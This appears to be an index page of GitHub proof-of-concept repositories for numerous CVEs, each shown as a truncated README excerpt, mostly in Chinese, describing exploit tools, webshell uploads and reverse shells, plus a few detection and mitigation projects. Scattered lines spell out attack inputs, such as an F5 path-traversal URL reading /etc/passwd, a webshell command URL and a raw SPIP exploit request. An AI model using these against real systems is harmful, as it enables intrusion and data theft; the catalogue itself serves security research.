CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC 此仓库包含针对 Pluck CMS 4.7.18 版本中 CVE-2023-50564 漏洞的概念验证代码。 描述 CVE-2023-50564 是一个允许在 Pluck CMS 4.7.18 版本中未经授权上传文件的漏洞。该利用程序利用了模块安装功能中的缺陷，上传包含 PHP shell 的 ZIP 文件，从而实现远程命令执行。 使用 前提条件 Python 3.x requests 和 requeststoolbelt 包 你可以使用以下命令安装所需的包： pip install requests requeststoolbelt 说明 1...

CVE-2024-38063

CVE-2024-38063 Windows 漏洞，允许通过网络实施未经授权的活动：远程执行 Windows TCP/IP 远程代码。 两台虚拟机——受害者和攻击者——已准备就绪，用于模拟攻击。在受害者机器上，使用了数据包捕获工具 TShark（Wireshark 的命令行模式），数据以 .csv 格式存储。 接下来的步骤涉及另一台运行机器学习算法的虚拟机。收集到的网络数据随后被传输到分析环境，在其中提取重要的流量指标，如报头不匹配、Destination Option 字段等。 这些特征用于训练一个能够识别可疑活动的机器学习模型。...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer CVE-2019-0752的PoC漏洞利用 针对Windows 10 x64（最高至RS4、RS5？）上的Internet Explorer 11 32位 除了某些路径魔法外，还使用特殊地址值以避免使用PowerShell和块注释 使用JavaScript创建必要的DOM元素以避免使用静态HTML 没有硬编码的偏移量...

CVE-2026-1555

CVE-2026-1555 WebStack ⚙️ 工具特性 🔁 多线程扫描，可配置工作线程数量 📋 通过目标列表文件支持批量目标 📤 自动从 JSON 响应中提取 Shell URL 💾 成功的 Shell URL 保存至 uploadedpaths.txt 🎨 丰富的终端 UI，支持实时进度跟踪 🔕 禁用 SSL 证书验证以获得最大兼容性 📦 环境要求 Python 版本： 3.8+ 安装依赖： pip install requests rich urllib3 🚀 使用...

PanOsExploitMultitool

PanOsExploitMultitool 针对受 CVE-2024-0012 和 CVE-2024-9474 影响的 Palo Alto PAN-OS 系统的利用和后利用多功能工具 在早期利用 CVE-2024-0012 和 CVE-2024-9474 的远程代码执行漏洞时，我获取了一个 shell 并开始识别配置文件，发现其中各个密码字段包含奇怪的字符串。由于这些显然不是常见的哈希格式，我和团队开始调查，并迅速在 ThreatLabs 网站上发现了一份安全公告，其中提到 PAN-OS...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 和 CVE-2024-46257 是同一个 POC，只需更改 provider 参数。 注意 有时 nc 文件无法在服务器上执行，或者无法执行命令！ 安装依赖 pip install requests 运行漏洞利用 python3 POCCVE-2024-46256.py + 目标类型 IP/主机? i/h: i + 输入 IP 或主机: IP/HOST + 输入端口: PORT + 输入用户名: USERNAME + 输入密码: PASS + 获取到的令牌: 自动获取的令牌 + 发送载荷: curl...

CVE-2025-50754-PoC

CVE-2025-50754 存储型XSS导致PHP CMS平台远程代码执行 摘要 某基于PHP的CMS平台（版本5）的“报告”功能中存在存储型跨站脚本（XSS）漏洞。当管理员查看用户提交的报告时，恶意JavaScript会在管理面板上下文中执行。这使得攻击者能够劫持管理员会话，并利用内置的模板编辑器上传PHP Web Shell，最终在服务器上实现完全远程代码执行（RCE）。 技术细节 漏洞类型： 存储型跨站脚本（XSS） 受影响产品： CMS平台 v5 攻击类型： 远程 影响： 远程代码执行（RCE）：是 信息泄露：是 攻击向量（抽象描述）...

CVE-2025-67435

CVE-2025-67436 PluXml CMS 5.8.22 中的认证远程代码执行RCE 研究人员：Chowdhury Faizal Ahammed 安装 git clone https://github.com/pluxml/PluXml.git cd PluXml ddev config --project-type=php --php-version=8.1 --docroot=. ddev start 概念验证 逐步利用过程 认证：使用有效的管理员凭据登录 PluXML 管理面板 导航到主题编辑器： 访问管理仪表板 导航到：主题 → Home.php → 编辑 注入恶意载荷：...

CVE-2021-41773_42013

Configuración del laboratorio para CVE-2021-41773 y CVE-2021-42013 Configuración $ git clone https://github.com/vulf/CVE-2021-4177342013 $ cd CVE-2021-4177342013 cd to the directory of your choice $ docker build -t vulnapache . $ docker run -d vulnapache NOTA: Los archivos httpd.conf están...

CVE-2022-29465

CVE-2022-29464 go run main.go 请输入目标地址, 如 https://127.0.0.1 https://127.0.0.1:9443 https://127.0.0.1:9443/authenticationendpoint/cmd.jsp?cmd=id...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache druid CVE-2021-25646 远程代码执行漏洞检测、利用工具 输入域名或者ip:端口，可以进行漏洞检测 对检测到漏洞的目标可以进行命令执行利用 支持单个目标 支持从文档中按行读取多个目标 （靶场演示） 漏洞检测 漏洞利用，执行 id 命令 反弹shell 反弹shell命令使用双引号括起来，不然会报错 少许卡顿之后，成功反弹shell...

CVE-2025-27636-Apache-Camel-PoC

Apache Camel CVE-2025–27636 和 CVE-2025-29891 PoC CVE-2025–27636 和 CVE-2025-29891 是 Apache Camel 中存在的漏洞，影响的版本包括： 4.10.0-4.10.1、4.8.0-4.8.4、3.10.0-3.22.3。 利用这些漏洞，攻击者可以执行内部 Camel 方法。 以下是一个使用 Camel Exec 组件的示例漏洞应用，可被利用实现 RCE。其他 Camel 组件也可能以类似方式被利用。 构建 1. 安装 Java 和 Maven 2. 运行以下命令构建项目： mvn clean packag...

PrintNightmare

PrintNightmare 这是一个项目，将帮助对抗 Windows 安全漏洞 PrintNightmare！CVE-2021-34527 您需要知道，Microsoft 已针对此漏洞发布了补丁，但该补丁并非完全有效，仅能应对 RCE（远程代码执行），而 LPE（本地权限提升）对潜在攻击者仍然有效。 以下是一些需要做的事情： 首先，在客户端上，您需要将计算机更新到最新的 Microsoft 修复程序，即使它并不能完全修补漏洞。 然后，在服务器上，如果无法安装 Microsoft 补丁，您必须关闭 Windows Print Spooler 服务，并在启动时禁用它，可通过...

CVE-2024-42327

CVE-2024-42327：Zabbix 权限提升 - 远程代码执行 描述 此概念验证（POC）可用于利用 CVE-2024-42327，泄露管理员 API 认证令牌，并创建一个条目以在 Zabbix 服务器 6.0.32rc1、6.4.17rc1、7.0.1rc1 上实现反向 shell。 Zabbix 前端上具有默认用户角色或任何其他具有 API 访问权限角色的非管理员用户账户可以利用此漏洞。在 CUser 类的 addRelatedObjects 函数中存在 SQL 注入，该函数从 CUser.get 函数调用，而任何具有 API 访问权限的用户均可访问该函数。 严重性：9.9 ...

CVE-2020-5902

CVE-2020-5902 针对 F5-Big-IP CVE-2020-5902 的漏洞利用代码 摘要 在 BIG-IP 版本 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1 和 11.6.1-11.6.5.1 中，流量管理用户界面（TMUI），也称为配置实用程序，在未公开页面中存在远程代码执行（RCE）漏洞。 概念验证 https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 本仓库从 Defender 视角讨论 Follina MSDT 漏洞 目录 关于 时间线 理解漏洞利用 IOC 列表 检测策略 测试与研究 缓解方案 参考 关于 该漏洞是 Microsoft Windows 支持诊断工具 MSDT 的远程代码执行漏洞，由 Shadow Chaser Group 的 crazyman 报告。Microsoft 现已将其跟踪为 CVE-2022-30190。该漏洞影响所有仍在接收安全更新的 Windows 版本（Windows 7+ 及 Server 2008+）。 正如安全研究员 naosec...

CVE-2022-26134_check

CVE-2022-26134check 该脚本用于远程检查 Confluence 服务器是否存在 CVE-2022-26134 漏洞。此漏洞是一个远程代码执行缺陷，若未修补，攻击者可在服务器上执行任意代码。该漏洞在 6 月被多个僵尸网络利用，向未修补的安装部署加密货币挖矿恶意软件。 使用方法： 确保您的系统已安装 Python 3。 下载脚本并将其保存到本地计算机。 打开命令提示符或终端窗口，导航到保存脚本的目录。 使用命令运行脚本：python CVE-2022-26134check.py -t targeturl。将 targeturl 替换为您要检查的 Confluence 服务器...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞CVE-2023-33246 Exploit 使用方法: java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "open -a calculator" 免责声明: 检测工具仅供各大安全公司的安全测试员安全测试使用。未经允许请勿对任何外部计算机系统进行入侵攻击，不得用于任何非授权形式的安全测试。仅提供技术交流，不对工具造成任何理论上的或实际上的损失承担责任。...

RCE_CVE-2024-7954

RCECVE-2024-7954 描述： SPIP 4.30-alpha2、4.2.13 及 4.1.16 之前版本使用的 porteplume 插件存在任意代码执行漏洞。远程未认证攻击者可通过发送特制的 HTTP 请求，以 SPIP 用户身份执行任意 PHP 代码。（严重） 利用方法： POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type: application/x-www-form-urlencoded data=AA-URLBB 使用的工具： Nuclei -l目标文件 -t模板...

n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613

n8n 认证表达式注入远程代码执行 – CVE-2025-68613 严重远程代码执行 CVSS 9.9 在 n8n 工作流自动化工具中 概念验证 – 仅供教育和授权安全研究使用 ⚠️ 重要法律警告 此代码严格仅供教育目的和在受控实验室环境中进行授权安全测试使用。 未经明确书面许可，在生产系统或任何系统上未经授权使用是违法的 ，并且在大多数司法管辖区违反了计算机滥用和网络安全法律。 使用风险自负。作者不对任何滥用行为负责。 漏洞信息 字段| 详细信息 ---|--- 漏洞利用标题| n8n 认证表达式注入远程代码执行 CVE| CVE-2025-68613 披露日期| 2025-12-25...